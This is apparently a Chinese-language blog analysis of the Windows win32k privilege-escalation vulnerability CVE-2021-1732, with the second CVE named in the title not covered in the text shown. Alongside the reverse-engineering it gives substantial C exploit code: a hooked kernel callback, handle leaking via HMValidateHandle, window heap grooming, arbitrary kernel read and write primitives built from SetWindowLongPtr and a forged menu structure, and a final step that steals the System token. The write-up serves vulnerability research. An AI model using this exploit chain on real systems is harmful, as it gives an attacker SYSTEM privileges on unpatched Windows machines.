0%

CVE-2021-1732&CVE-2022-21882 win32k漏洞分析

CVE-2021-1732&CVE-2022-21882 win32k漏洞分析

这两个漏洞都是win32k驱动的提权漏洞, 两个漏洞关联性比较强,所以一块分析了.分析环境分别是win10 1809和win10 21h2

CVE-2021-1732漏洞分析与利用

这个漏洞发生在win32kfull创建窗口的函数中,当窗口对象存在扩展内存时,会通过KeUserModeCallback返回ring3,指定回调函数,申请一块内存空间,分配后的地址ring0获取后,会通过tagWND->flag这个标志位进行判断,默认为0,如果为0x800则会作为一个偏移所使用,而这个标志位被篡改为0x800,调用SetWindowsLong会会导致访问到未知的内存地址,发生bsod.

1.漏洞分析

CreateWindowEx在win32kfull的调用过程是NtUserCreateWindowEx->xxxCreateWindowEx

看下xxxCreateWindowEx的代码,HMAllocObject此处创建了一个窗口对象.

image-20230817232800031

并且在偏移0x28位置仍有一个结构体,并将它其中偏移0x128的数据做了初始化,后面也有一些其他位置的填充,其实这就是win32k中的tagWND结构体和tagWNDK结构体,在HMAllocObject内部,初始化了窗口对象的一些结构,包括taghwnd和tagwndk距离桌面堆基址的偏移之前已经有人逆向推测出了它们的结构.我们只需要重点关注几个位置.

image-20230815135649388

tagWND结构体

1
2
3
0x18 ptagDesktop ->0x80 kernelDesktopHeapBase
0x28 ptagWndk
0x30 OffsetToDesktopHeap

tagWNDK结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小
BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针
};

然后在RedirectedFieldcbwndExtra中判断扩展内存大小是否为0,如果不为0,就调用xxxClientAllocWindowClassExtraBytes,参数为扩展内存大小,然后将返回值存入pExtraBytes中.

image-20230815141304138

image-20230815141358414

xxxClientAllocWindowClassExtraBytes,可以看到它通过KeUserModeCallback函数,返回ring3,执行用户态代码,apinumber是0x7b,在ring3的peb偏移0x58处,是可以找到KernelCallbackTable的,我们后面在编写poc的时候需要hook它.

执行完之后,它会判断输出的长度是否为0x18.后面又做了一些内存的验证.

image-20230815141933913

调用的ring3函数.申请内存返回至ring0,返回的长度为0x18

image-20230815142917915

image-20230815144736637

接下来看看漏洞是怎么被触发的,看看SetWindowLong函数,win32kfull中的调用过程为NtUserSetWindowLongPtr->xxxSetWindowLongPtr.

可以直接定位到此处,此处对tagWNDK->dwExtraFlag处的值进行了判断

如果dwExtraFlag==0x800,那么会将pExtraBytes中的地址作为一个偏移,加上内核桌面堆的地址,+index,进行赋值

如果dwExtraFlag!=0x800,那么就会把pExtraBytes作为一个绝对地址+index进行赋值.

如果dwExtraFlag==0x800,并且pExtraBytes中的地址并不是一个偏移,那么此时就触发了漏洞.

image-20230815150042227

dwExtraFlag的值是进行了篡改的,在win32kfull中,有一个函数是可以直接修改它的.

在NtUserConsoleControl->xxxConsoleControl中,主要关注下第一个参数和最后一个参数,经过逆向,第一个参数应该是代表的功能号,第二个应该是数据长度.index在流程中不断递减.

image-20230815152435926

当满足index为6时,并且长度等于10时,才会继续下面的流程,

这里首先通过函数传入句柄获取了窗口的结构信息.

然后继续下面的流程,最后将dwExtraFlag设置为0x800.

image-20230815152712637

重点看下后面的流程,首先通过DesktopAlloc申请一块内存DesktopMem,然后将pExtraBytes中的数据copy到这块内存中,释放pExtraBytes.

接着将DesktopMem-kernelDesktopHeapBase内核桌面基址,获取偏移量,然后重新设置到pExtraBytes里面,最后将dwExtraFlag标志位修改0x800.

image-20230815153152486

目前,我们已经搞清楚了漏洞触发的流程,漏洞的根本原因是在执行完毕ring3的函数后,没有对标志位进行二次验证.导致可以hook _xxxClientAllocWindowClassExtraBytes去主动修改标志位.

2.编写poc

整理下漏洞的触发过程

1.CreateWindowExW创建窗口,创建扩展内存

2.KeUserModeCallback回调ring3 _xxxClientAllocWindowClassExtraBytes

3.调用NtUserConsoleControl将标志位修改为0x800

4.创建指定长度扩展内存,NtCallbackReturn返回至ring0.

5.CreateWindowExW执行完毕,执行SetWindowsLongW,将pExtraBytes中的地址作为偏移写入,触发异常.

在上面的流程中,还存在了一个问题,就是在调用NtUserConsoleControl时,我们没有一个可用的窗口句柄,虽然在HMAllocObject时已经创建了窗口对象,并且创建了窗口句柄.

可是CreateWindowExW并未执行完毕,_xxxClientAllocWindowClassExtraBytes中无法直接获取到.

需要一点技巧来解决这个问题:

虽然CreateWindowExW没有返回,但是在执行HMAllocObject后,窗口句柄已经在内存里面了.

我们之前看到在xxxConsoleControl中,它使用了ValidateHandle通过窗口句柄获取了窗口对象.在user32.dll中,同样存在一个这样的函数:HMValidateHandle,这是一个未导出的函数,不过在IsMean中是直接调用了这个函数的,不过,它只给了返回值,虽然不能直接调用,但是可以通过IsMenu定位到.

image-20230815165308637

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool FindHMValidateHandle(FHMValidateHandle* pfOutHMValidateHandle)
{
*pfOutHMValidateHandle = NULL;
HMODULE hUser32 = GetModuleHandle(L"user32.dll");
PBYTE pMenuFunc = (PBYTE)GetProcAddress(hUser32, "IsMenu");
if (pMenuFunc) {
for (int i = 0; i < 0x100; ++i) {
if (0xe8 == *pMenuFunc++) {
DWORD ulOffset = *(PINT)pMenuFunc;
*pfOutHMValidateHandle = (FHMValidateHandle)(pMenuFunc + 5 + (ulOffset & 0xffff) - 0x10000 - ((ulOffset >> 16 ^ 0xffff) * 0x10000));
break;
}
}
}
return *pfOutHMValidateHandle != NULL ? true : false;
}

现在,可以直接泄露tagWND的映射在ring3的对象指针了.

接下来,可以创建大量的窗口,然后记录它们的对象指针,然后释放,再次创建一个cbWndExtra与之前不同的窗口进行占位,然后在_xxxClientAllocWindowClassExtraBytes中遍历我们释放的对象指针,通过cbWndExtra的变化确认是否成功占位,然后通过之前记录的对象指针,就可以直接获取新创建窗口的句柄了.

关键poc代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
DWORD g_dwMyWndExtra = 0x1234;
NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
{
//判断是自己创建的窗口
if (*pSize == g_dwMyWndExtra) {
HANDLE search_hWnd = NULL;
for (int i = 2; i < 50; i++) {
ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + g_cbWndExtra_offset);
//判断释放的tagWnd中cbWndExtra已经被更新为g_dwMyWndExtra,表示成功占位
if (cbWndExtra == g_dwMyWndExtra) {
search_hWnd = (HWND) * (ULONG_PTR*)(g_pWnd[i]); //Found the "class2" window handle
break;
}
}
if (search_hWnd != NULL) {
printf("search hwnd success");
}
else {
printf("search hwnd fail");
return g_fxxxClientAllocWindowClassExtraBytes(pSize);
}
ULONG_PTR ululValue = 0;
ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
ConsoleCtrlInfo[0] = (ULONG_PTR)search_hWnd;
ConsoleCtrlInfo[1] = 0;
g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
ULONG_PTR Result[3] = { 0 };
Result[0] = (ULONG_PTR)malloc(0x1000);
return g_fFNtCallbackReturn(&Result, sizeof(Result), 0);
}
return g_fxxxClientAllocWindowClassExtraBytes(pSize);
}
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
.............................
.............................
WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc;
WndClass.style = CS_VREDRAW | CS_HREDRAW;
WndClass.cbWndExtra = 0x20;
WndClass.hInstance = hInstance;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"Class1";
RegisterClassEx(&WndClass);

WndClass.cbWndExtra = g_dwMyWndExtra;
WndClass.hInstance = hInstance;
WndClass.lpszClassName = L"Class2";
RegisterClassEx(&WndClass);

HMENU hMenu = NULL;
HMENU hHelpMenu = NULL;
for (int i = 0; i < 50; i++) {
if (i == 1) {
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
}
g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);
g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); //Get leak kernel mapping desktop heap address
}
for (int i = 2; i < 50; i++) {
if (g_hWnd[i] != NULL) {
DestroyWindow((HWND)g_hWnd[i]);
}
}
HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
PVOID pWnd2 = fHMValidateHandle(hWnd2, 1);
SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF);
}

对win32kfull!xxxSetWindowLongPtr+0x131b6b处,下一个硬件执行断点.

1
ba e1 win32kfull!xxxSetWindowLongPtr+0x131b6b

image-20230816165958214

此时xxxSetWindowLongPtr将把pExtraBytes作为偏移,kernelDesktopHeapBase作为基址+index,后面从这块内存取数据时将发生bsod.

image-20230816170311053

image-20230816170637945

image-20230816170705763

poc编写完成.

3.漏洞利用

这是一个因为逻辑漏洞而造成的任意地址写,写入的地址为desktopbase+pExtraBytes+index,写入的范围是由cbWndExtra决定的.在SetWindowLongPtr中也可以看到对这个字段的验证.

image-20230818091830681

任意地址写

对于实现任意地址写而言,有2个问题需要解决:

1.pExtraBytes的地址可控制

2.pExtraBytes是一个绝对地址,也就是说dwExtraFlag的标志位不能为0x800,如果加上桌面堆基址就不可控了.

然而触发漏洞dwExtraFlag必须要为0x800,才能写入一些位置,有些矛盾了,所以我们需要2个窗口解决这个问题.

在poc中前2个连续的窗口是没有进行释放的,这也是我们实现任意地址写所要利用的2个窗口.

在tagwndk结构体中,+8位置是tagwndk结构体距离桌面堆地址的偏移.我们借助HMValidateHandle是可以泄露这个值的,再配合漏洞,将第一个窗口的dwExtraFlag在MyxxxClientAllocWindowClassExtraBytes修改为0x800,在NtCallbackReturn返回ring0地址时,将返回的地址设置为tagwndk+8字段也就是第一个窗口距离桌面堆地址的偏移.

那么在调用SetWindowLongPtr时,桌面堆地址在+我们给的第一个窗口的tagwndk+8,就可以控制第一个窗口的tagwndk结构了,此时我们可以将cbWndExtra字段修改的足够大,用于写入第二个窗口.

然后我们泄露第二个窗口的与桌面堆基址的偏移(tagwndk+8),然后减去第一个窗口距桌面堆基址的偏移,最终得到的数据就是第一个窗口与第二个窗口之间tagwndk结构的偏移了,此时第一个窗口的pExtraBytes字段保存的就是它与桌面堆基址的偏移,此时我们的cbWndExtra已经被扩大了,可以直接使用SetWindowsLongPtr写入第二个窗口的pExtraBytes字段,并且它是一个绝对偏移,我们没有改变第二个窗口的dwExtraFlag,此时再调用SetWindowLongPtr操作第二个窗口,就实现了任意地址写,听起来可能有点绕.流程大概是这样,如下图.

image-20230818155403128

1
2
3
4
5
6
7
8
ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
ConsoleCtrlInfo[0] = (ULONG_PTR)hWnd2;
ConsoleCtrlInfo[1] = ululValue;
NTSTATUS ret = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));

ULONG_PTR Result[3] = { 0 };
Result[0] = g_dwpWndKernel_heap_offset0;
return g_fFNtCallbackReturn(&Result, sizeof(Result), 0);
1
2
3
4
5
6
7
8
9
10
11
dwpWnd0_to_pWnd1_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);

dwpWnd0_to_pWnd1_kernel_heap_offset = (g_dwpWndKernel_heap_offset1 - dwpWnd0_to_pWnd1_kernel_heap_offset);
HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
PVOID pWnd2 = fHMValidateHandle(hWnd2, 1);

SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF); //Modify cbWndExtra to large value

ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD

任意地址读

对于任意地址读,可以借助一些函数来实现.

GetMenuBarInfo函数,一些结构参考了下ReactOS源码.

image-20230818163728730

函数判断了idObject是否为-3,dwStyle是否不为0x40000000,tagMenu不为空,然后idItem大于0,

最后在tagMenu+0x58处取出数据作为地址,然后经过0x60和idItem作为偏移做一些计算,把这个地址的数据写入了pmbi->rcBar中.

image-20230818163150320

可以伪造一个tagMenu结构,并将这个结构通过之前实现的任意地址写入到tagwndk中,然后调用函数GetMenuBarInfo读取数据到pmbi里面.就可以实现任意地址读.

1
2
3
4
5
6
7
8
9
g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20);
**(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu;
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); //rgItems 1
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; //cItems 1
*(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1;
*(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2;
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void ReadKernelMemoryQQWORD(ULONG_PTR pAddress, ULONG_PTR &ululOutVal1, ULONG_PTR &ululOutVal2)
{
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);

RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect);

*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = pAddress - 0x40; //0x44 xItem
GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi);

BYTE pbKernelValue[16] = { 0 };
*(DWORD*)(pbKernelValue) = mbi.rcBar.left - Rect.left;
*(DWORD*)(pbKernelValue + 4) = mbi.rcBar.top - Rect.top;
*(DWORD*)(pbKernelValue + 8) = mbi.rcBar.right - mbi.rcBar.left;
*(DWORD*)(pbKernelValue + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;

ululOutVal1 = *(ULONG_PTR*)(pbKernelValue);
ululOutVal2 = *(ULONG_PTR*)(pbKernelValue + 8);

/*std::cout
<< "ReadKernelMemory ululOutVal1: "
<< std::hex << ululOutVal1
<< " ululOutVal2: "
<< std::hex << ululOutVal2 << std::endl;*/
}

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2);
pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset;

ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);

ULONG_PTR nProcessId = ululValue1;
if (nProcessId == 4) { // System process id
pSystemEProcess = pNextEProcess;
std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl;

ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2);
ULONG_PTR pSystemToken = ululValue1;

ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;

//Write kernel memory
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken);
SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken); //Modify offset to memory address
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old);

image-20230818165443435